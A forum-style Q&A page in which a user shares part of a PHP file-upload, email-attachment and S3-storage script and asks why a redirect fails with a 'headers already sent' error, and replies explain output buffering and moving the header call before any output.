$path_of_uploaded_file = $upload_folder . $filename;
if(!copy($tmp_path, $path_of_uploaded_file))
{
$errors = '\n error while copying the uploaded file';
}
$file_size = filesize($path_of_uploaded_file);
$handle = fopen($path_of_uploaded_file, "rb");
$content = fread($handle, $file_size);
fclose($handle);
$content = chunk_split(base64_encode($content));
}
// if attachment has successfully encoded
if ($content) {
$message .= "Content-Type: {\"application/octet-stream\"};\n" . " name=\"{$filename}\"\n" .
"Content-Disposition: attachment;\n" . " filename=\"{$filename}\"\n" .
"Content-Transfer-Encoding: base64\n\n" . $content . "\n\n";
$message .= "--{$mime_boundary}\n";
}
$headers2 = "From:" . $to;
mail($to, $subject, $message, $headers);
//send items to S3 bucket
move_uploaded_file($upload_folder, $filename);
//store image to s3 bucket
try {
$result = $s3->putObject([
'Bucket' => $config['s3']['bucket'],
'Key' => "uploads/{$name_of_uploaded_file}",
'Body' => fopen($path_of_uploaded_file, 'rb'),
'ACL' => 'public-read'
]);
$results = $result['ObjectURL'];
if (is_uploaded_file($_FILES['uploaded_file']['tmp_name'])){
//inserts in pending table
$sql = "INSERT INTO items (photo,title,eventDate,description,name,pLike,pDislike,address) VALUES ( :photo, :title, :eventDate, :description, :name, :pLike, :pDislike, :address)";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(':title', $title);
$stmt->bindParam(':photo', $results);
$stmt->bindParam(':description', $story);
$stmt->bindParam(':eventDate', $eventDate);
$stmt->bindParam(':address', $eventLocation);
$stmt->bindParam(':name', $first_name);
$stmt->bindValue(':pLike', 0, PDO::PARAM_INT);
$stmt->bindValue(':pDislike', 0, PDO::PARAM_INT);
$stmt->execute();
}else {
die("<h1>There was an error. Please go back and retry.</h1>");
}
//remove the pending file in uploads folder
unlink($path_of_uploaded_file);
} catch(PDOException $e){
echo 'error in query: '.$e->getMessage();
}
};// end else
};// end isset final
?>
I have tried adding a header(Location: index.php) But i get a weird error saying
Cannot modify header information - headers already sent by (output started at /Users/mine/Documents/www/website/schools/inc/header.php:67) in /Users/mine/Documents/www/website/schools/inc/footer.php on line 127
Unset $_POST variable after proccessing data in your footer.php
your header already send problem : It means some text was already outputted. Place your header() on top of your script. Or look at the ob_start and ob_end_clean() functions.
You can not use header() once text has been output to the browser. As your header file include presumably outputs HTML, header() cannot be used.
You can solve this in flowing ways:
Move the if statement above the header file include.
ob_start() at the top of the script to buffer the output.

Categories

Resources